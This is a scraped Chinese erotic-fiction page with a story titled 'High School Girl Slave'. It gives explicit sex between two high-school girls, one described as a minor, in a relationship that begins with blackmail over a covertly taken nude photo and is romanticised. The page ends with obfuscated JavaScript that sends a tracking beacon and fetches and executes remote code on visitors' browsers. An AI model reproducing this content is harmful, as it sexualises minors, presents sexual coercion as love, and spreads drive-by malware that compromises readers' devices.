图片载入中

【高中生女奴】

特大字】 【大字】 【中字】 【小字

【高中生女奴】

作者:不详

我把深色窗帘拉好,原本很空旷的房间一下子昏暗了下来,感觉舒服多了。 “还在等什么啊?喂,开始吧。”我说着,靠在了床头,对方好像很不情愿似的,但还是解开了校服的衣扣。

是的,磨磨蹭蹭地拉下丝带解开纽扣,让校服连衣裙直接滑落到脚边的这个人,就是我H的对象,Sue。J。

“你的胸部是不是长大了一点?”

我毫无顾忌地盯着她的纯白色胸罩猛瞧,她半长的黑头发散在白皙的肩膀上,据说在学校�的调查,有百分之三十多的男生最中意Sue。J的身材……不过很不幸地,拥有这副身材的人却是本人。

“那,的确是有点……你不喜欢吗?”

“还蛮喜欢的,软软的,咬上去一定很舒服。”

“说,说什么啊……”

至于为什么会演变成这种状况,还要从两个月前说起。

两个月前,我还只是一个普通的高二学生。是的,非常普通,学习保持着中等的水平,和同学不咸不淡的交往着,偶尔收到一两封情书什么的。然后这一切,全部……都被一个人改变了。JanelleS——学校摄影部的部长,我的同班同学。

事情还是要从两个月前的午后说起,那天是周末,我因为教科书留在了教室,所以就一个人到这�来取。取书的时候,从另一个抽屉�无意�看到了一本色情刊物。事实上,我并不是那么纯洁的孩子,很早以前,我就知道怎样给自己找乐子。

于是,当时的我无论如何做出了一件非常荒唐的事:我把书带到厕所,坐在学校的马桶上开始自慰起来。——原本,我只是想给学校生涯增添一个什么回忆而已。但是,就在我哼哼呀呀正入佳境的时候,厕所单间的门被轰地拉开,然后是明亮的相机的闪烁——我的心脏几乎停止了跳动。

说起来,从很久以前我就喜欢同班的Sue。J,嗯,是的。

这种事情,我自己倒不觉得很不正常,但是如果给人家添了麻烦,那可就不好了……2个月前,我还是抱持着这种想法,安心地过着自己普普通通的校园生活,偶尔盯着她前排的背影发呆一阵子。

就在2个月前的某一星期,我应学生会之邀,为毕业生制作一本学校摄影集。 原本默默无闻的摄影社,一下子接到这么一件大工作,绝不能等闲视之,我决定自己拍摄学校的每个角落。传说中的约定之树、理科实验室的怪谈、生活指导室、田径场……甚至是厕所,每个角落都要拍到。

天知道那个周末是怎么回事,学校�安安静静的一个人也没有,我随便拉开一间没有锁门的厕所,就按下了快门,然而之后我整整半分钟没有动作……惊慌的脸、掉在地上的黄色书刊、湿淋淋的私处……更让人吃惊的是,那正是Sue。J。

我全身发热,然后一个念头很快地控制了我。

“…………Janelle……S……”我脸色惨白的看着她,我对她并不熟悉,也没有具体交谈过,因为她总是一副冷淡的样子,比我还圆滑的女子,对她的印象仅此而已。而如今,我最不耻的一面居然被她给拍下了,而且还是在学校的厕所�……那个时候我根本什么都无法思考,如果这件事传出去了……我一定要杀了每一个知道的人然后自杀!!

我们就这样一直对望着,大约过了一个世纪一般难熬的时间,她终于微微正直了身体,深黑的眼睛看着我不停地闪烁,凭直觉我知道她在思考着什么。 “……”我慢慢支起身,穿好自己的衣服,拣起地上的书籍,无论如何,这个时候不能意气用事,“那个……可以拜托你……当作什么都没发生过吗……” “怎么办呢……”我轻轻用手指扣击着相机的外壳,那样子或许看起来非常狡猾,但事实上,我还在想她白色内裤上的小蝴蝶结。以前我还以为我对这种事情会很排斥,但她的身体那么漂亮……我从胡思乱想中回过神来,她一直都在望着我,但她的眼睛�,似乎隐隐带着对我这个掌握了她的秘密的人的敌意。 “不行哟,Sue。J,”或许是对那种眼神的反击,又或许是想作弄她,“这可不是求人的态度……一点都不乖,没有诚意呢。”

她的脸一下子涨得通红,那种表情,如果不是理亏,恐怕早就要抢过我的相机砸得稀烂了。

“那你要我怎么样呢?”

“又没有想好……不过公开这个,对我也没有什么好处。嗯……如果Sue。J同学表现得好的话,或许有一天我会把底片给你做奖赏哦,怎么样?”

“……表现的好……是什么意思……?”我咬紧了下嘴唇,虽然她看起来不像喜欢恶作剧的人,但是……现在的女生,谁也保不准谁……

“恩……比如说,我叫你脱衣服,就脱;叫你躺下就躺下……叫你叫我主人SAMA,你就必须这么叫我——明白吗?”她似乎完全不顾我的脸色,自顾自地微笑着靠在了洗手台上,垂到耳际的黑发微微晃动着。

“……你……”我努力思考着这种情况下我还能干什么,但是很显然,除了听从她的命令,我没有其他的路可选;目前看来,我只能走一步算一步了。 “……好吧……但是,那样的话,你真的可以保证不发表这些照片吗!还有,你打算这样威胁我到什么时候?”

“当然啦……早就说了吧?发表你的照片对我有什么好处?”她竟然真的答应,有那么几秒,在她沉默的时候,我真担心她会就这样自暴自弃呢。光是这样就已经让我喜出望外了,我努力不让自己表现出高兴的样子来,微笑着抱起了双手。

“如果Sue让我很满意的话,照片自然就给你咯……再说,就算我不给你,等到高中毕业了,大家走光光,Sue也就没什么好担心的了吧?”看她的脸色,像是已经接受了,只是面子上下不来的样子,“唔……现在么,先叫一声给我听听看,怎么样?叫我主人SAMA……”

她沉默了很久,声音憋得又小又细。

“……Janelle……主人SAMA……”

“大一点声……这�又没有人在听。”

“唔……咳…………主人SAMA!”我憋着气大吼了一声,她似乎被我这样的举动吓了一跳,随即呵呵地笑了起来,“呐,过来。”她朝我招了招手,我顺从地走了过去,眼睛看着地面。

“擡起头来。”她伸出手捏住我的下巴,以外的手法却很温柔,慢慢地把我的头擡了起来,和我相对的是一双无比清澈的黑色眼睛,有几秒我是失神了一般。 “好好记住了。从今天起,我就是你的主人了。”她饶有兴致地挑起嘴角,“一切,都要听从于我。”

“……是……”我渐渐调整好了自己的心态,反正现在也没有其他的办法,说是主人,终归也不会做什么违法的事情……如果能让她放松警惕,把相片偷回来也不是不可能。从那以后,我就多了个漂亮的“仆从”。当然,我不会在学校堂而皇之地叫她帮我拿书包、买午餐之类,这些只是幼稚的把戏,何况让别人看到她屈辱的样子,这对我来说并不是有趣的事。做事总得适可而止,才能有更多的甜头可尝。

或许这也是在私下相处的时候,无论怎么过分的要求,她口头反抗,身体还是都会乖乖照做的原因。

和她第一次H,大概是这种主仆关系维持了一个星期以后,最初我只是要她脱光衣服把冰过的水果放在胸脯上给我吃,后来会演变到她第二天睡在我的房间�没法去上课,全是因为我情不自禁了。

于是,后来就有了第二次、第三次……一开始她都不很情愿的样子,但到后来反而会配合我手指的动作。在床上的时候,每次她都敏感得像是第一次一样。 和她第一次H也是在周末,清早的时候她就来到我家接我。“Sue终于交到好朋友了呢……”父母欣慰地说着,她在旁边一脸纯洁无暇的拉过我的手臂,“伯父伯母放心吧!我会照顾好Sue的!”——这一切实在让我哭笑不得,虽然在学校的时候,她并不会要求我怎样,但是私底下,我的初吻早就被她夺了个干净,就在她送我回家的路上,趁我没注意就把我按倒在了墙上。

“呐,想什么?”走在路上的时候,她问道我。

“……没什么。”我生硬地回答着,其实脑子�全是那天那个吻……刚开始我试图反抗,可是渐渐的,全身的力气都像是被抽干了一样,并且身体似乎比她热的还要快……为什么,我为什么会变成这样……我可是一个正常的女生啊…… “喂!”直到她似乎生气了一般把我拖进屋,我才明白已经到了,“干什么呢……”她捏着我的下巴让我和她对视着,“和我在一起的时候,还敢想其他东西吗?”

事实上,原本她是没有理由要专注地听从我的,但凡是她显得心不在焉的时候,我都不由自主地会大发脾气。要知道,她一向只会照着我教她的,说“主人SAMA……”但一转身就好像完全没有这回事似的,搞不好心�还正在对我嗤之以鼻呢。

“唿……这回要怎么惩罚你走神呢?”我沉着脸放开了她,在床边坐了下来,“冰箱�有冰过的橙子,削给我吃。”

她楞了楞,似乎在诧异是如此简单的要求。等到她用水果刀去掉皮,把橙子削成一片一片的送到我嘴边的时候,我却像厌食的小孩一样扭过了头。

这样下去,大概总有一天她会受不了的吧,但是有她在身边,就像做梦一样……尽管嫉妒和猜疑总是停不下来。这种任性的感觉,真是既舒服又痛苦。 “主人SAMA……”这些天下来,这个词已经被我说的很纯熟了,虽然还是会脸红,“怎么了……”她略带委屈地偏过头,眼睛微微眯缝着,就好象被抢走糖果的小孩,无论如何,都让我觉得好可爱……真是奇怪,我应该是很讨厌她的,但是,却找不到一点这样的感觉。

“主人不想吃吗……”我轻轻把橙子放在一边,“……怎么了……”

她慢慢地回过头,看了我好一阵,然后低低地命令道,“脱衣服。”

我愣了愣,这一段时间她也有这样要求过我,不过大多都只是看看而已…… 应该,没什么问题吧。这样想着,我保持着跪下的姿势,慢慢解开了自己衬衫的扣子。什么都那么让人不爽,看着她光滑的肌肤一点一点裸露出来,我觉得她简直就是故意脱那么慢的。

从前的几次,只想着看她的身体而兴奋不已,似乎也没有觉得那些衣服非常碍事……解胸罩的时候她怎么也弄不开背后的搭钩,我索性把手伸到她背后给她解开了,感觉就像抱了她一样。我装作若无其事地扭过脸,“把弄好的橙子,放在身上,躺下来。”

“主人SAMA……”

“还有,不许闭眼睛,看着我吃。”

“呜……是……”我在床上躺了下来,把冰凉的橙子放在胸腹上,那凉意刺激着我微微颤抖了一下,我转头看着她,她的眼睛慢慢滑过我的身体,那些火热的眼神……只是,只是被她这样看着,身体,就猛然地热了起来,“唿……哈……主人,可以了吗……“我努力克制着自己的唿吸,不去注意那渐渐传满我身的感觉是什么。

“还不够了……”她走到我的身边,弯下身下,在我的身体上吃起橙子起来,嘴唇碰到我的身体,带着冰凉而又潮湿的快感,“唔—……”我紧紧咬住嘴唇,那些即使不用听也知道会淫乱的呻吟被我使劲压在喉咙�,然而在她恶作剧地咬上我的乳头的时候,它们终于冲了出来:“哈!啊……主人……哈……”柔嫩的乳头上全是甜橙的酸甜味道,在我的嘴�,牙齿和舌头的逗弄下,它好像一颗熟透的果实一样,颜色鲜艳,又饱满又多汁。

我轻轻地轮流吮吻着两颗乳头,她的胸口剧烈地起伏着,像一碰就会发出声音的洋娃娃一样呻吟不停。我趴在她的身上吻她,手指不停歇地抚弄着她的身体,舌头深深地伸到她的喉咙口,“……不许你反抗,”我捉住了那只轻轻推挤着我身体的无力的手腕,握着它去摸她自己又湿又热的下身,却不让她的手指伸进去玩,“拍到你的时候,你就是这样子的……好淫荡的身体……”

“唔,哈……Janelle主人……哈……”我的手被她抓住抚摩着自己的下体,好湿,好热,是因为这个人,才兴奋成这样的……“哈……”她的舌头又伸进了我的嘴�,温柔潮湿的舔食着我的每一个口腔,“唔……哈……”我忍耐不住地用手指抚摩着自己前端的花蕾以寻求快感,但马上被她发现了。

“不是说过了——”她重重地把我的手举过头顶,用丝带栓了起来,“能碰你那�的,只有我。你自己都不可以。”

“哈……呜……”我睁开眼看见的是她骑坐在我上面的身体,黑色的眼�有着浓浓的情欲,接下来会发生什么,我知道我已经完全无法阻止了。

“这�……”她的手掌挑逗地覆上我的整个私处,慢慢抚摩着,“……想要吗—……”粘湿的液体很快就打湿了我的手掌,“想要吗……”我忍耐着想要听她最高亢的声音的冲动,用手指在她的私处轻轻画着圈,她半张着嘴不停地喘息,雾蒙蒙的眼睛�全是求恳的表情。我俯下身亲吻着那两片颤抖的嘴唇,手指稍稍插进去了一点,又很快地退了出来,用沾满蜜汁的手指抚弄着她的嘴唇,“乖乖说出来,不然不给你……”

“…………要……”

“大声一点,Sue……”

“唔……呜……!嗯……要……好想要……”

“想要什么……?”

“要……主人……啊……啊……”

我的手指在那一刻深深地插进了她炙热的体内。

“唔!哈!……啊……啊……哈……”她的手指第一次进入了我的身体,比自己做的时候,还是舒服好几万倍,“哈……哈……”我张大了嘴,感觉滑润的唾液顺着我的嘴角慢慢流到了脖颈,被她占有的地方火辣辣地,好象把她整个包裹了起来。

“唔!Janelle主人……哈……好棒……”她的手指深入我的身体,轻轻转动抽插着,只是细微的动作,快感都像潮水一样要把我击垮,为什么……为什么会这样……被女人占有了……感觉还这么棒……

然而她却并没有给我思考的能力,很快的,在粘腻的液体的声音中,她加入了第二根手指。

我敢打赌,如果那件事没有发生过,我这辈子都不会对她那么乱来。但是,突然有一天,“喀嚓”一声,一切都不一样了,她变得那么近,那么触手可及,而且一举一动都是绕着我打转……

我紧紧地抱着她,贴着她软绵绵的身体和温柔的乳房,彼此双腿交缠,抽动着的手指逐渐疯狂起来,食指和中指在她体内塞得满满的,狂热地摩擦着她的内壁。渐渐地,她失神的呻吟和喊叫�甚至听不出一个完整的词句。我喘着气把头埋了下去,亲吻吮吸着她的爱液,在大腿根上印下深深的吻痕。

“呜!哈……哈……啊……啊…………”我疯了一样一次又一次地弓起身体,快感在我的身体�堆积,很快眼前的一切都变的模煳起来,只有身上这个人,这个人温暖的味道,诱惑般的喘气,还有在我体内释意占有着我的手指……

“哈……啊……不要……啊……主……啊!啊!!……啊……”

随着一阵剧烈地颤抖,我在她的怀�达到了高潮,大脑像罢工一样一片空白,身体上无比的快感让我仰起头,失控般地大声呻吟着……

一直到我觉得自己的嗓

子都哑了,才渐渐恢复了一点神智,定定神看到的是,是我从来没有看到过的她的充满了怜爱的温柔眼神,“哈……啊……哈……唿……”我想说点什么,但却连发声的力气都没有。

我把她抱在怀�,亲吻着,直到她的唿吸慢慢平稳下来,低垂着睫毛睡着了,才起来给她家人打了电话,谎称她在这�和我一起念书,晚上不回家了。

之后我钻进被窝,整晚整晚地搂抱着她的身体,在漆黑的房间�,她的唿吸和温暖的体温,让我觉得很安心,至少这一夜,她从身到心都是属于我一个人的。 “所以……?”我不耐烦地挑挑眉,眼前的男人比我还害羞地低下头,在接到他的“请于XX时到XX地。”的简短信笺时,我还以为是挑战书,但是没想到又是这种无聊的表白。

“我喜欢你,请你跟我交往吧。”我无声地叹了口气,真是的……没看见我现在那么忙吗……每天都要侍奉某个无良少女,哪有精力说这些。

“对不起呢。我现在,还没有谈恋爱的打算。”我淡淡地说道,照例一翻安慰之后,把那男生送走了出去。我轻轻靠在窗口,脑子�又浮现出昨夜与那女人欢爱的场面……几乎每天都要这样被她要,最后熟睡到她的怀�,我承认那感觉非常棒……但是,同样是女人,难道她就没有一点被抱的欲望吗……虽然不该在意这样的事情,但是……还是经常忍不住疑惑到。午休时间,我照例懒洋洋地趴在课桌上午睡。

也如同往常一样,那群叽叽喳喳的女孩子们总是不让人睡得安稳。

我瞥了她们一眼,真是奇怪,Sue也不过是和她们没有多少区别的女生,为什么我就偏偏对她那么有感觉呢?

“什么?他真的去告白了?”

“啊啊……我觉得好不公平啊,天下的女生又不是只有Sue。J一个。” “哈……难道说连本年级最后一个单身的帅哥也要不可用了吗……”

原来如此,难怪她课间对我说“有事情要出去”,问她又不明说,本以为是要去厕所就没怎么多盘问,原来是这种事情。我紧紧咬住牙,眼泪简直忍不住要往外涌,就算明知道她叫我主人,侍奉我,一切都是因为被我胁迫,但是…… “唿……”我深深地喘了口气,忍耐到回家就好了,我心想,然而回家了又能怎么样呢?什么都改变不了吧。

放学的时候,她意外的没有等我,只是给我发了条短信叫我回去她的家�,不知为什么,心�隐隐有点不安,说起来,今天有人向我表白的事情,不知道她知不知道……但是,应该没什么吧。我边想边朝她家走去,我又没答应,应该不是为了这种无聊的事情生气吧……等等,为什么我会这么在意她……她明明应该算是我的‘敌人’吧!

意识到这点,我忍不住无力地低下头,好奇怪,那个女生,夺去我的贞洁,天天要我侍奉她,威胁我……为什么我还会那么在意她,每天把她侍奉的舒舒服服,天天担心她不高兴……啊啊啊难道我是隐藏的被虐待狂!?

“唿……”门敲响的时候,我正在向喉咙�倒冰凉的葡萄酒,说起来,那天买下这瓶酒,本来是打算在高潮的时候灌进她的身体�的,还花了我不少零用,现在有一大半都进了我的肚子了……真是不上算。

“……别敲了,又没有锁。进来以后再锁好。”

生她的气的话,不给她留门不就好了……我在心�嘲笑着自己的愚蠢,她进来的样子在我眼前似乎很恍惚,她走路时候的身段很美,我认识的人�还没有穿校服这么合身好看的。

“你到底在干什么啊……”她看着我的样子似乎很难以置信,连主人都忘了叫。

“你别管,脱衣服就行了。”我不耐烦地回答。

“你啊……”我叹了一口气,先上前把她手�的酒抢了过去,其实论力气什么的,我们差不了多少,“不要喝酒,未成年少女。”她狠狠瞪了我一眼,样子即委屈又可爱,因为喝酒而微微红润的脸庞让我忍不住想捏上去。

我定了定神,熟练地解开衣服,事实上,连我自己都惊讶自己在她面前的释然,好象被她看见已经不是什么羞耻的事情了,‘这个身体,反正都是她的’这种感觉,让我完全忘记了诸如‘少女应有的矜持’这类的东西。

“说吧,到底怎么了……主人SAMA。”把最后一件内衣抛在地上后,我站直了在她面前。

我的目光慢慢地扫过她的肩膀、乳房,一直到下面,不知道是因为她的身体,还是酒精的作用,我只觉得全身热得要烧起来了一样。

“好热,也帮我脱掉……”我说。

她似乎楞了一下,大概是因为以前一直都是我要她,我自己很少有脱衣服的必要吧。

“……喂,说真的,Sue。J,”我瘫靠在沙发的靠背上,让她解开我的扣子,拉开裙子的拉链,“你叫我主人,侍奉我,只是因为我要求你这样做,其实你不想这么做的……对吧?”

明明身边的人正在卑躬屈膝地,像仆从一样尽心尽力地服侍我,我却突然觉得这样的自己很可悲。

她微微皱着眉头,表情隐忍而痛苦,不知道为什么,只是看着她那样难过的表情,心�就涨的说不出话来,“本来……一开始就是你威胁我的嘛……”我轻轻地说着,同时一件件解开她的衣服,她的肤色比我深,是非常好看的亚麻的颜色,我只有在睡醒的时候,才可以看见抱着我的她的肌肤。

这样清楚地看见还是第一次,胸部,暗色的小巧的乳头,细细的腰,还有那�……“但是……现在……也无所谓……”我的目光似乎很快就停留在她的下体, 久久无法移开……天啊……我什么似乎变成了这样的变态……

“无所谓吗……”我喃喃地说着,抓着她的手腕,让她环抱住我的腰,把头抵在她的肩膀上,她的胳膊凉凉的,贴着身体很舒服。她的胸部柔软地挤压着我的锁骨,麻麻痒痒的感觉从上面慢慢扩散到全身。

她的手一动不动的放在我的腰上,时间一长那�的感觉简直难受得要疯了,其他地方,到处,都好想要被爱抚,“以前是不愿意,现在是无所谓……那以后会不会有喜欢的一天呢……”我伸出手紧紧攀住了她的脖子,“碰我……” 那一瞬间我似乎听见自己心脏漏拍了一下,“碰你……可以吗……”我轻轻拍了拍她的肩,她的头蹭着我的脖子动了动,“可以……”声音细小但却诱人。 我努力压抑住心�那种想叫好的冲动,手缓慢地在她身体上抚摩起来,被我碰过的地方很快就炙热起来,她越发紧抱住了我,可爱的身体微微颤抖着。 “放轻松……主人SAMA……”我吻了吻她粉色的耳垂,她在我怀�又是一阵颤动,好可爱……好可爱的身体……我像着了魔一样抚摩轻吻着她的恋,脖子,身体……

“……唔……哈……”她的手指,比想像中的更会欺负人,我喘息着趴在她的怀�,嘴唇吻上了她的乳头。她抚摸着我的动作一下子散乱起来,但反而更让人全身燥热。这种时而想抱她,时而又想被她要的强烈感觉,让我一下子按倒了她,可是身体却又蜷缩在了她的手臂环抱中。

“……我们去床上……好不好……”

我亲吻摩蹭着她的嘴唇,第一次没有用命令的口气和她说话。她那�也已经有感觉了,在我的大腿上蹭出一块湿。

在残留着我们两个人的味道的床上,我们很快就拥抱在了一起,疯狂地抚摩亲吻着对方,昏暗的房间�只听得见我们两个人纠缠在一起的喘息。

“呜……唔……哈……”我疯狂地亲吻着她,她嘴�淡淡的酒的甜味,似乎要把我所有的理智,都燃烧殆尽,这种感觉……应该就是恋爱吗……想抱这个人,要这个人……

“Janelle……”我喘息着把她压在身上,用舌头从她的脖颈一直舔食至胸腹,最后分开她的双腿,那像花瓣一样可爱的,淌着爱液的蜜色私处,可爱的超出我的想象。

“好可爱……”我缓缓低下头,用舌头去拨弄着她的全端,又甜又咸的味道一下子涌进我的嘴�,但是却并不让我觉得反感,反而有一种莫明的兴奋。 “啊……啊……!呜……”那�奇异的刺激感让我不顾一切地叫出声来,我挣扎着抱住她的头,爬起来亲吻着她咸咸的嘴唇,舌头伸进去轻轻舔食着,仿佛这样就可以清洗她的口腔一样,“……不要……会弄脏你的……傻瓜……” “……你才是傻瓜呢……”被我压下去的时候她轻轻地捧住了我的脸,“唔……”我含煳地答应着,咬住了她的锁骨,她的手在我的嵴背上抚摸着,我才恍惚想起她已经有半天都没有叫我主人了,可是感觉却那么好……

“……为什么突然要吃……那种地方……”我把头埋在她的胸口,脸上一阵发烧,“……好舒服……”

“唔……”我的脸微微发着烫,“因为……因为……很想嘛……”但是,怎么也不好说出口,想要吃掉这个女孩的一切……

“你不是也很舒服吗……”我一手捧起她的脸亲吻着,一手顺着她的腰滑到她的私处,被我舔过的那�潮湿一片,“都湿成这样了……”我说着从来没想到会从我嘴�说出的话,一边慢慢地把自己的手指塞了进去。

“哈……啊!呜……”她大大地颤抖起来,头埋在我脖子处不停喘气,“不要……哈……脖子……”我忍受不住地动起来,这一连带就牵扯到在她体内的手指,她又是一阵剧烈的呻吟。

“哈……谁理你……”我趴在她的脖子上,张开嘴吸吮吻咬着,拼命地烙下一个又一个的吻痕。她全身颤抖着呻吟起来,手上的动作却怎么都不肯停,又细长又柔软的手指,在我体内探摸着,故意按压着敏感的深处,简直是可恶透了……

“啊!……啊……不要……呜……”没几下我就在她的手上失去了自控力,什么主人SAMA,什么听我的话,统统都抛在了脑后,而她还在继续进得更深,更深地占有着我,“……哈……啊……Sue,Sue……Sue……啊……” 仿佛这样,叫着她的名字,就是我的一切,“……爱……咳……”我喘着气,想要说什么,喉咙却哑得怎么都说不出一句话来。

她抽出来的手指上沾满了亮晶晶的液体,看着她仿佛很满意地舔食着自己的手指,我伏下身去,把头埋在了她的双腿之间。

“哈……呜……”她学着我刚才那样子,疯狂地吮吸着我的私处,早就已经湿透了的那�,怎么可能经受的住这么大的刺激,我大声的呻吟起来,被她吻住的那�甜蜜的让我要晕了过去。

“哈…呜……主人……那�……”我挣扎着睁开眼睛,朝她的那�移动,最终再次含住了她的密穴,她哼了一声,全身一阵颤抖,然后再次猛烈地吻住我,手指也顺势进入了我的身体,“哈……呜,啊……”像是为了报复她一样,我深深吸住了她的蜜穴。

“哈……啊……狡猾……”我强忍着下身剧烈的快感,手指拼命地在她那�进进出出,就算这样,有好几次都被她弄得一阵阵失神,忘记了动作。我用舌头舔食着那�流出来的爱液,多加了一根手指,一起深深地抽插、占有着她,身体颤抖个不停……不知道是她在抖,还是我,只知道在一阵又一阵的快感高潮�,脑子越来越空白,呻吟也越来越激烈,“哈……呜……哈啊……!”

没有一个人想停手,就这样……终于疲惫到快要虚脱的时候,她喘息着放开了我,我的手指也轻轻滑了出来,她的腿根处一阵颤抖,而我连脸上都沾满了湿濡濡的爱液。

“哈……啊……啊……”我大口大口地喘着气,好激烈……刚刚和她做的,那么的忘我……她蠕动着爬带我的身边躺下,脸上还带着湿湿的液体。

“Janelle……“我叫着她的名字抱住她,吻着她脸上的湿物,”现在可以我了吗……今天到底是怎么了……“

“唔……”我闭上眼睛,手指轻轻抚摩揉捏着她的胸部,她的舌头温柔地舔食着我的脸,那动作让我想起猫咪爱抚幼仔的样子,“……听说了,告白的事情……怕你会答应……”

“……”我看着她涨红了的脸,突然就觉得心�一下被填地满满的,“傻瓜……”我紧紧抱住了她的脖子,“我的主人SAMA……只有你一个人……永远……”

“等等……你说什么?”我一下子睁大了眼睛,下意识地想紧紧抓住她,结果两只手抓到的却是软软的胸部,“这个……是告白?是告白吧!你说永远…… 是告白吗……“一遍一遍地问着,心�又甜蜜又有种涩涩的幸福感,眼泪早就顺着脸颊流了下来,”……只有我一个……“

“呜!哈……胸部……”胸口被她捏在手�,顿时一股躁热向我袭来,“笨蛋!”我把她的双手拉了下来,看着她泪眼朦胧的眼睛,又好气又好笑地叹了口气,“是,是……是告白。主人SAMA。”我轻轻吻住她的泪水,“我喜欢你。 Janelle……一直,在一起吧。“

【完】


上一篇:先穿射雕再穿大唐 221~230

下一篇:女校风波


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new 